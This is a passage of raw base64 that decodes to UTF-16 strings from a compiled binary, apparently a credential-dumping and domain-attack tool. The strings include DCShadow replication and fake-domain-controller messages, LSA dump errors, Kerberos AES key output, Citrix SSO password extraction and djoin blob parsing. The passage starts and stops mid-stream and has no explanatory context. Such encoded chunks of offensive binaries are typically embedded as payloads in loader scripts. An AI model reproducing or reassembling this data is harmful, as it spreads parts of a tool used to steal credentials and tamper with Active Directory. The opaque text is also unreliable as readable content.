F8AQQBUAFQAUgBfAE4ATwBUAF8AUgBFAFAATABJAEMAQQBUAEUARAAKAAAAAAAgAEYATABBAEcAXwBBAFQAVABSAF8ASQBTAF8AQwBPAE4AUwBUAFIAVQBDAFQARQBEAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAGEAdAB0AHIAaQBiAHUAdABlACAAOwAgAGEAdAB0AHIAaQBiAHUAdABlACAAZABvAGUAcwAgAG4AbwB0ACAAZQB4AGkAcwB0AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYgB1AGkAbABkAF8AcgBlAHAAbABpAGMAYQB0AGkAbwBuAF8AYQB0AHQAcgBpAGIAdQB0AGUAIAA7ACAAbABkAGEAcABfAHMAZQBhAHIAYwBoAF8AcwAgADAAeAAlAHgAIAAoACUAdQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBiAHUAaQBsAGQAXwByAGUAcABsAGkAYwBhAHQAaQBvAG4AXwB2AGEAbAB1AGUAXwBzAGkAZAAgADsAIABMAG8AYwBhAGwAQQBsAGwAbwBjACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBiAHUAaQBsAGQAXwByAGUAcABsAGkAYwBhAHQAaQBvAG4AXwB2AGEAbAB1AGUAXwBzAGkAZAAgADsAIABDAG8AbgB2AGUAcgB0AFMAdAByAGkAbgBnAFMAaQBkAFQAbwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYgB1AGkAbABkAF8AcgBlAHAAbABpAGMAYQB0AGkAbwBuAF8AdgBhAGwAdQBlAF8AbwBjAHQAZQB0AF8AcwB0AHIAaQBuAGcAIAA7ACAAUgB0AGwARwBVAEkARABGAHIAbwBtAFMAdAByAGkAbgBnACAAJQBzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAHYAYQBsAHUAZQBfAG8AYwB0AGUAdABfAHMAdAByAGkAbgBnACAAOwAgAGsAdQBsAGwAXwBtAF8AcwB0AHIAaQBuAGcAXwBzAHQAcgBpAG4AZwBUAG8ASABlAHgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAHYAYQBsAHUAZQBfAHMAZQBjAHUAcgBpAHQAeQBfAGQAZQBzAGMAcgBpAHAAdABvAHIAIAA7ACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGUAYwB1AHIAaQB0AHkARABlAHMAYwByAGkAcAB0AG8AcgBUAG8AUwBlAGMAdQByAGkAdAB5AEQAZQBzAGMAcgBpAHAAdABvAHIAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBiAHUAaQBsAGQAXwByAGUAcABsAGkAYwBhAHQAaQBvAG4AXwB2AGEAbAB1AGUAXwBkAGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AcwB0AHIAaQBuAGcAXwBzAHQAcgBpAG4AZwBUAG8ARgBpAGwAZQBUAGkAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABQAHIAaQBtAGEAcgB5ADoAAAAAAFAAYQBjAGsAYQBnAGUAcwAAAAAAAAAAACUAWwBeADoAXQA6ACUAWwBeADoAXQA6ACUAcwAAAAAAUwBhAGwAdAAgACAAOgAgACUAdwBaAAoAQQBFAFMAMgA1ADYAOgAgAAAAAAAoAHAAYQBzAHMAdwBvAHIAZAAgAC0AIAAlAHcAWgApACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBiAHUAaQBsAGQAXwByAGUAcABsAGkAYwBhAHQAaQBvAG4AXwB2AGEAbAB1AGUAXwBzAHUAcABwAGwAZQBtAGUAbgB0AGEAbABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAXwB2AGEAbAB1AGUARgByAG8AbQBBAHIAZwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AcwB0AHIAaQBuAGcAXwBzAHQAcgBpAG4AZwBUAG8ASABlAHgAQgB1AGYAZgBlAHIAKABBAEUAUwAyADUANgApAAoAAAAAAEEARQBTADEAMgA4ADoAIAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAHYAYQBsAHUAZQBfAHMAdQBwAHAAbABlAG0AZQBuAHQAYQBsAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwBfAHYAYQBsAHUAZQBGAHIAbwBtAEEAcgBnAHMAIAA7ACAAawB1AGwAbABfAG0AXwBzAHQAcgBpAG4AZwBfAHMAdAByAGkAbgBnAFQAbwBIAGUAeABCAHUAZgBmAGUAcgAoAEEARQBTADEAMgA4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYgB1AGkAbABkAF8AcgBlAHAAbABpAGMAYQB0AGkAbwBuAF8AdgBhAGwAdQBlAF8AcwB1AHAAcABsAGUAbQBlAG4AdABhAGwAQwByAGUAZABlAG4AdABpAGEAbABzAF8AdgBhAGwAdQBlAEYAcgBvAG0AQQByAGcAcwAgADsAIABrAHUAbABsAF8AbQBfAHMAdAByAGkAbgBnAF8AYwBvAHAAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBiAHUAaQBsAGQAXwByAGUAcABsAGkAYwBhAHQAaQBvAG4AXwB2AGEAbAB1AGUAXwBzAHUAcABwAGwAZQBtAGUAbgB0AGEAbABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAXwB2AGEAbAB1AGUARgByAG8AbQBBAHIAZwBzACAAOwAgAEUAcgByAG8AcgAgAHcAaABlAG4AIABwAGEAcgBzAGkAbgBnACAAYQByAGcAdQBtAGUAbgB0ADoAIAAlAHMAIAAoAHIAZQB0ADoAIAAlAGkAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYgB1AGkAbABkAF8AcgBlAHAAbABpAGMAYQB0AGkAbwBuAF8AdgBhAGwAdQBlAF8AcwB1AHAAcABsAGUAbQBlAG4AdABhAGwAQwByAGUAZABlAG4AdABpAGEAbABzAF8AdgBhAGwAdQBlAEYAcgBvAG0AQQByAGcAcwAgADsAIABOAFUATABMACAAYQByAGcACgAAAAoAPQA9ACAARQBuAGMAbwBkAGUAcgAgAGgAZQBsAHAAZQByACAAZgBvAHIAIABzAHUAcABwAGwAZQBtAGUAbgB0AGEAbABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIAA9AD0ACgAKAAAAUAByAGkAbQBhAHIAeQA6AEsAZQByAGIAZQByAG8AcwAtAE4AZQB3AGUAcgAtAEsAZQB5AHMAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBiAHUAaQBsAGQAXwByAGUAcABsAGkAYwBhAHQAaQBvAG4AXwB2AGEAbAB1AGUAIAA7ACAAUwB5AG4AdABhAHgAIABmAG8AcgAgAGEAdAB0AHIAaQBiAHUAdABlACAAJQBzACAAbgBvAHQAIABpAG0AcABsAGUAbQBlAG4AdABlAGQAIAAoADAAeAAlAHgAKQAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYgB1AGkAbABkAF8AcgBlAHAAbABpAGMAYQB0AGkAbwBuAF8AdgBhAGwAdQBlACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAZQBuAGMAbwBkAGUAIAAlAHMAIAAoACUAcwApAAAAAABnAG8AdgBlAHIAbgBzAEkARAAAACgAJgAoAG8AYgBqAGUAYwB0AEMAbABhAHMAcwA9AGMAbABhAHMAcwBTAGMAaABlAG0AYQApACgAbABEAEEAUABEAGkAcwBwAGwAYQB5AE4AYQBtAGUAPQAlAHMAKQApAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYgB1AGkAbABkAF8AcgBlAHAAbABpAGMAYQB0AGkAbwBuAF8AZwBlAHQAXwBzAGMAaABlAG0AYQBfAG8AaQBkAF8AdgBhAGwAdQBlAHMAIAA7ACAAbwBiAGoAZQBjAHQAQwBsAGEAcwBzACAAJQBzACAAbgBvAHQAIABmAG8AdQBuAGQAIABpAG4AIABBAEQACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAGcAZQB0AF8AcwBjAGgAZQBtAGEAXwBvAGkAZABfAHYAYQBsAHUAZQBzACAAOwAgAG8AYgBqAGUAYwB0AEMAbABhAHMAcwAgAG4AbwB0ACAAZgBvAHUAbgBkACAAaQBuACAAQQBEACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAAAAKgAqACAAQQB0AHQAcgBpAGIAdQB0AGUAcwAgAGMAaABlAGMAawBpAG4AZwAgACoAKgAKAAoAAAAjACUAdQA6ACAAJQBzAAoAAAAAACoAKgAgAE8AYgBqAGUAYwB0AHMAIAAqACoACgAKAAAATwBiAGoAZQBjAHQAIAB3AGkAbABsACAAYgBlACAAYQBkAGQAZQBkAAoAAABEAHkAbgBhAG0AaQBjACAAbwBiAGoAZQBjAHQACgAAAE8AYgBqAGUAYwB0AEcAVQBJAEQAAAAAACAAIAB3AGkAdABoACAARwBVAEkARAAgACUAcwAKAAAAIAAgAHcAaQB0AGgAIABQAGEAcgBlAG4AdAAgAEcAVQBJAEQAIAAlAHMACgAAAAAATwBiAGoAZQBjAHQAUwBpAGQAAAAgACAAdwBpAHQAaAAgAFMASQBEACAAJQBzAAoAAAAAACAAIAAlAHMAIAAoACUAUwAtACUAeAAgAHIAZQB2ACAAJQB1ACkAOgAgAAoAAAAAACAAIAAgACAAJQBzAAoAIAAgACAAIAAoAAAAAAAgACAAIAAgAHUAcwBuAFQAaQBtAGUAQwBoAGEAbgBnAGUAZAA6AAAAIAAgACAAIAB1AHMAbgBPAHIAaQBnAGkAbgBhAHQAaQBuAGcAOgAlAHUACgAAAAAAIAAgACAAIAB1AGkAZABPAHIAaQBnAGkAbgBhAHQAaQBuAGcARABzAGEAOgAAAAAAKgAqACAARABvAG0AYQBpAG4AIABJAG4AZgBvACAAKgAqAAoACgAAACoAKgAgAFMAZQByAHYAZQByACAASQBuAGYAbwAgACoAKgAKAAoAAABTAGUAcgB2AGUAcgA6ACAAJQBzAAoAIAAgAEkAbgBzAHQAYQBuAGMAZQBJAGQAIAAgADoAIAAAAAoAIAAgAEkAbgB2AG8AYwBhAHQAaQBvAG4ASQBkADoAIAAAAAAAAABGAGEAawBlACAAUwBlAHIAdgBlAHIAIAAoAGEAbAByAGUAYQBkAHkAIAByAGUAZwBpAHMAdABlAHIAZQBkACkAOgAgACUAcwAKACAAIABJAG4AcwB0AGEAbgBjAGUASQBkACAAIAA6ACAAAAAAAAAARgBhAGsAZQAgAFMAZQByAHYAZQByACAAKABuAG8AdAAgAGEAbAByAGUAYQBkAHkAIAByAGUAZwBpAHMAdABlAHIAZQBkACkAOgAgACUAcwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGUAbgBjAG8AZABlAF8AcwBlAG4AcwBpAHQAaQB2AGUAXwB2AGEAbAB1AGUAIAA7ACAAUgB0AGwARQBuAGMAcgB5AHAAdABOAHQATwB3AGYAUAB3AGQAVwBpAHQAaABJAG4AZABlAHgAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGUAbgBjAG8AZABlAF8AcwBlAG4AcwBpAHQAaQB2AGUAXwB2AGEAbAB1AGUAIAA7ACAAVQBuAGUAeABwAGUAYwB0AGUAZAAgAGgAYQBzAGgAIABsAGUAbgAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGMAYQBsAGwAXwBBAGQAZABFAG4AdAByAHkAIAA7ACAASQBEAEwAXwBEAFIAUwBBAGQAZABFAG4AdAByAHkAIAByAGUAdAB1AHIAbgBlAGQAIAAwAHgAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBjAGEAbABsAF8AQQBkAGQARQBuAHQAcgB5ACAAOwAgAEkARABMAF8ARABSAFMAQQBkAGQARQBuAHQAcgB5ADoAIAB1AG4AZQB4AHAAZQBjAHQAZQBkACAAdgBlAHIAcwBpAG8AbgAgACUAdQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGMAYQBsAGwAXwBBAGQAZABFAG4AdAByAHkAIAA7ACAASQBEAEwAXwBEAFIAUwBBAGQAZABFAG4AdAByAHkAOgAgADAAeAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGMAYQBsAGwAXwBBAGQAZABFAG4AdAByAHkAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYwBhAGwAbABfAEEAZABkAEUAbgB0AHIAeQAgADsAIABFAG4AYwBvAGQAaQBuAGcAIABvAGIAagBlAGMAdAAKAAAAAAAxAC4AMgAuADgANAAwAC4AMQAxADMANQA1ADYALgAxAC4ANQAuADcAMAAwADAALgA0ADcAAAAAADEANgAAAAAAMi41LjQuMAAxLjIuODQwLjExMzU1Ni4xLjIuMTQAAAAxLjIuODQwLjExMzU1Ni4xLjIuMzYAAAAxLjIuODQwLjExMzU1Ni4xLjIuMTE1AAAxLjIuODQwLjExMzU1Ni4xLjQuMzA3AAAxLjIuODQwLjExMzU1Ni4xLjQuMzc1AAAxLjIuODQwLjExMzU1Ni4xLjQuNTE1AAAxLjIuODQwLjExMzU1Ni4xLjQuMTQ1OQAxLjIuODQwLjExMzU1Ni4xLjQuMTgyMAAxLjIuODQwLjExMzU1Ni4xLjQuMTgzNgBFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBjAGEAbABsAF8AQQBkAGQARQBuAHQAcgB5AF8AbQBhAG4AdQBhAGwAIAA7ACAARABSAFMAQQBkAGQARQBuAHQAcgB5ACAAbwBiAGoAZQBjAHQAIAAlAHUAOgAgADAAeAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBiAGkAbgBkAF8ARABSAFMAUgAgADsAIABEAG8AbQBhAGkAbgAgAG4AbwB0ACAAcAByAGUAcwBlAG4AdAAsACAAbwByACAAZABvAGUAcwBuACcAdAAgAGwAbwBvAGsAIABsAGkAawBlACAAYQAgAEYAUQBEAE4ACgAAAAAAbwBiAGoAZQBjAHQAQwBsAGEAcwBzAAAAcwBlAHIAdgBlAHIAUgBlAGYAZQByAGUAbgBjAGUAAABDAE4APQAlAHMAJQBzAAAARwBDAC8AJQBzAC8AJQBzAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AcgBlAGcAaQBzAHQAZQByAF8AbABkAGEAcAAgADsAIABsAGQAYQBwAF8AbQBvAGQAaQBmAHkAXwBzACAAYwBvAG0AcAB1AHQAZQByACAAUwBQAE4AIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AcgBlAGcAaQBzAHQAZQByAF8AbABkAGEAcAAgADsAIABsAGQAYQBwAF8AYQBkAGQAXwBzACAAYwBvAG0AcAB1AHQAZQByACAAbwBiAGoAZQBjAHQAIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AcgBlAGcAaQBzAHQAZQByACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAZwBlAHQAIABpAG4AdgBvAGMAYQB0AGkAbwBuACAASQBkAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AcgBlAGcAaQBzAHQAZQByACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAYQBkAGQAIABvAGIAagBlAGMAdAAgAHYAaQBhACAARAByAHMACgAAAAAAQQBsAHIAZQBhAGQAeQAgAHIAZQBnAGkAcwB0AGUAcgBlAGQACgAAAFMAeQBuAGMAaQBuAGcAIAAlAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGYAbwByAGMAZQBfAHMAeQBuAGMAXwBwAGEAcgB0AGkAdABpAG8AbgAgADsAIABJAEQATABfAEQAUgBTAFIAZQBwAGwAaQBjAGEAQQBkAGQAIAAlAHMAIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AZgBvAHIAYwBlAF8AcwB5AG4AYwBfAHAAYQByAHQAaQB0AGkAbwBuACAAOwAgAEkARABMAF8ARABSAFMAUgBlAHAAbABpAGMAYQBEAGUAbAAgACUAcwAgADAAeAAlAHgAIAAoACUAdQApAAoAAAAAAFMAeQBuAGMAIABEAG8AbgBlAAoACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwB1AG4AcgBlAGcAaQBzAHQAZQByACAAOwAgAGwAZABhAHAAXwBkAGUAbABlAHQAZQBfAHMAIAAlAHMAIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwB1AG4AcgBlAGcAaQBzAHQAZQByACAAOwAgAGwAZABhAHAAXwBzAGUAYQByAGMAaABfAHMAIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AdQBuAHIAZQBnAGkAcwB0AGUAcgAgADsAIABsAGQAYQBwAF8AYwBvAHUAbgB0AF8AZQBuAHQAcgBpAGUAcwAgAGkAcwAgAE4ATwBUACAAMQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AdQBuAHIAZQBnAGkAcwB0AGUAcgAgADsAIABsAGQAYQBwAF8AbQBvAGQAaQBmAHkAXwBzACAAYwBvAG0AcAB1AHQAZQByACAAUwBQAE4AIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAAAABzAHQAYQBjAGsAAAB2AGkAZQB3AHMAdABhAGMAawAAAGMAbABlAGEAcgBzAHQAYQBjAGsAAAAAAHAAdQBzAGgAAAAAAG0AYQBuAHUAYQBsAHIAZQBnAGkAcwB0AGUAcgAAAAAAbQBhAG4AdQBhAGwAcAB1AHMAaAAAAAAAbQBhAG4AdQBhAGwAdQBuAHIAZQBnAGkAcwB0AGUAcgAAAAAAYQBkAGQAZQBuAHQAcgB5AAAAAAB2AGkAZQB3AHIAZQBwAGwAaQBjAGEAdABpAG8AbgAAAGsAaQBsAGwAAAAAAGMAbwBuAGYAaQBnAAAAAABzAGMAaABlAG0AYQAAAAAAcgBvAG8AdAAAAAAAcgBlAG0AbwB0AGUAbQBvAGQAaQBmAHkAAAAAACoAKgAgAFAAZQByAGYAbwByAG0AaQBuAGcAIABBAGQAZABFAG4AdAByAHkAIAAqACoACgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwAgADsAIAB1AG4AYQBiAGwAZQAgAHQAbwAgAHAAZQByAGYAbwByAG0AIABBAGQAZABFAG4AdAByAHkAOgAgACUAMAA4AHgACgAAACoAKgAgAFMAdABhAHIAdABpAG4AZwAgAHMAZQByAHYAZQByACAAKgAqAAoACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAIAA7ACAAdQBuAGEAYgBsAGUAIAB0AG8AIABzAHQAYQByAHQAIAB0AGgAZQAgAHMAZQByAHYAZQByADoAIAAlADAAOAB4AAoAAAA9AD0AIABQAHIAZQBzAHMAIABBAG4AeQAgAEsAZQB5ACAAdABvACAAcwB0AG8AcAAgAD0APQAKAAAAAAA9AD0AIABQAHIAZQBzAHMAIABDAG8AbgB0AHIAbwBsACsAQwAgAHQAbwAgAHMAdABvAHAAIAA9AD0ACgAAAAAAKgAqACAAUABlAHIAZgBvAHIAbQBpAG4AZwAgAFIAZQBnAGkAcwB0AHIAYQB0AGkAbwBuACAAKgAqAAoACgAAACoAKgAgAFAAZQByAGYAbwByAG0AaQBuAGcAIABQAHUAcwBoACAAKgAqAAoACgAAACoAKgAgAFAAZQByAGYAbwByAG0AaQBuAGcAIABJAG4AaQB0AGkAYQBsACAATABpAG4AZwBlAHIAaQBuAGcAIAAqACoACgAKAAAAAAAAAAAAKgAqACAAUABlAHIAZgBvAHIAbQBpAG4AZwAgAFUAbgByAGUAZwBpAHMAdAByAGEAdABpAG8AbgAgACoAKgAKAAoAAAAqACoAIABQAHIAbwBwAGEAZwBhAHQAZQAgAEwAaQBuAGcAZQByAGkAbgBnACAAKgAqAAoACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAIAA7ACAAbgBvACAAbwBiAGoAZQBjAHQAIAB0AG8AIABwAHUAcwBoAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwAgADsAIABsAGQAYQBwACAAMAB4ACUAeAAgACgAJQB1ACkACgAAACAAIABjAE0AYQB4AE8AYgBqAGUAYwB0AHMAIAA6ACAAJQB1AAoAAAAgACAAYwBNAGEAeABCAHkAdABlAHMAIAAgACAAOgAgADAAeAAlADAAOAB4AAoAAAAgACAAdQBsAEUAeAB0AGUAbgBkAGUAZABPAHAAOgAgACUAdQAKAAAAIAAgAHAATgBDAC0APgBHAHUAaQBkADoAIAAAACAAIABwAE4AQwAtAD4AUwBpAGQAIAA6ACAAAAAgACAAcABOAEMALQA+AE4AYQBtAGUAOgAgACUAcwAKAAAAAABTAGUAcwBzAGkAbwBuAEsAZQB5ADoAIAAAAAAAJQB1ACAAbwBiAGoAZQBjAHQAKABzACkAIABwAHUAcwBoAGUAZAAKAAAAAAAgACAAVgBlAHIAaQBmAHkAIABOAGEAbQBlACAAZgBvAHIAOgAgACUAcwAKAAAAAAAKACoAIAAlAHcAWgAgAC0ALQAgAHAAaQBkADoAIAAlAHUACgAAAAAAAAAAAEUAUgBSAE8AUgAgAEMAaQB0AHIAaQB4AF8ARQBhAGMAaABfAFMAUwBPAF8AUAByAG8AZwByAGEAbQAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAC8ASABUAEMAOgAAACAAIABOAG8AIABzAGgAYQByAGUAZAAgAG0AZQBtAG8AcgB5ACAAKABuAG8AIABTAFMATwAgAGUAbgBhAGIAbABlAGQAPwApAAoAAAAAAAAARQBSAFIATwBSACAAQwBpAHQAcgBpAHgAXwBTAFMATwBfAFAAcgBvAGcAcgBhAG0AXwBhAHIAZwBzACAAOwAgAE4AbwAgAGMAbwBtAG0AYQBuAGQALwBtAG8AZAB1AGwAZQA/AAAAAABFAFIAUgBPAFIAIABDAGkAdAByAGkAeABfAFMAUwBPAF8AUAByAG8AZwByAGEAbQBfAGEAcgBnAHMAIAA7ACAAQwBvAG0AbQBhAG4AZABMAGkAbgBlAFQAbwBBAHIAZwB2AFcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAHwAIABVAHMAZQByAG4AYQBtAGUAIAAgADoAIAAlAHMACgB8ACAARABvAG0AYQBpAG4AIAAgACAAIAA6ACAAJQBzAAoAfAAgAFAAYQBzAHMAdwBvAHIAZAAgACAAOgAgACUALgAqAHMACgB8ACAAZgBsAGEAZwBzAC8AdAB5AHAAZQA6ACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAQwBpAHQAcgBpAHgAXwBTAFMATwBfAFAAcgBvAGcAcgBhAG0AXwBGAGkAbABlAE0AYQBwAHAAaQBuAGcAIAA7ACAAQwByAHkAcAB0AFUAbgBwAHIAbwB0AGUAYwB0AE0AZQBtAG8AcgB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAQwBpAHQAcgBpAHgAXwBTAFMATwBfAFAAcgBvAGcAcgBhAG0AXwBGAGkAbABlAE0AYQBwAHAAaQBuAGcAIAA7ACAATQBhAHAAVgBpAGUAdwBPAGYARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABDAGkAdAByAGkAeABfAFMAUwBPAF8AUAByAG8AZwByAGEAbQBfAEYAaQBsAGUATQBhAHAAcABpAG4AZwAgADsAIABEAHUAcABsAGkAYwBhAHQAZQBIAGEAbgBkAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABJAG4AcAB1AHQAIAAgACAAOgAgACUAcwAKAE8AcABlAG4AaQBuAGcAIAA6ACAAAABPAEsACgBEAGUAYwBvAGQAaQBuAGcAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AZABqAG8AaQBuACAAOwAgAEEAbgAgAC8AaQBuAHAAdQB0ADoAZgBpAGwAZQAgAGkAcwAgAG4AZQBlAGQAZQBkAAoAAAAlACoAcwBbAE8ARABKAF8AUABSAE8AVgBJAFMASQBPAE4AXwBEAEEAVABBAF0AAAAlACoAcwB1AGwAVgBlAHIAcwBpAG8AbgA6ACAAJQB1AAoAAAAlACoAcwB1AGwAYwBCAGwAbwBiAHMAIAA6ACAAJQB1AAoAAAAlACoAcwBbACUAdQBdACAAQgBsAG8AYgAgAC0AIAB1AGwATwBEAEoARgBvAHIAbQBhAHQAOgAgACUAdQAgACgAAAAAAHcAaQBuAGQAbwB3AHMAIAA3ACkACgAAAHcAaQBuAGQAbwB3AHMAIAA4ACkACgAAAD8AKQAKAAAAIAA8AGUAbQBwAHQAeQA+AAoAAAAlACoAcwBbAE8ARABKAF8AVwBJAE4ANwBCAEwATwBCAF0AAAAlACoAcwBsAHAARABvAG0AYQBpAG4AIAAgACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAJQAqAHMAbABwA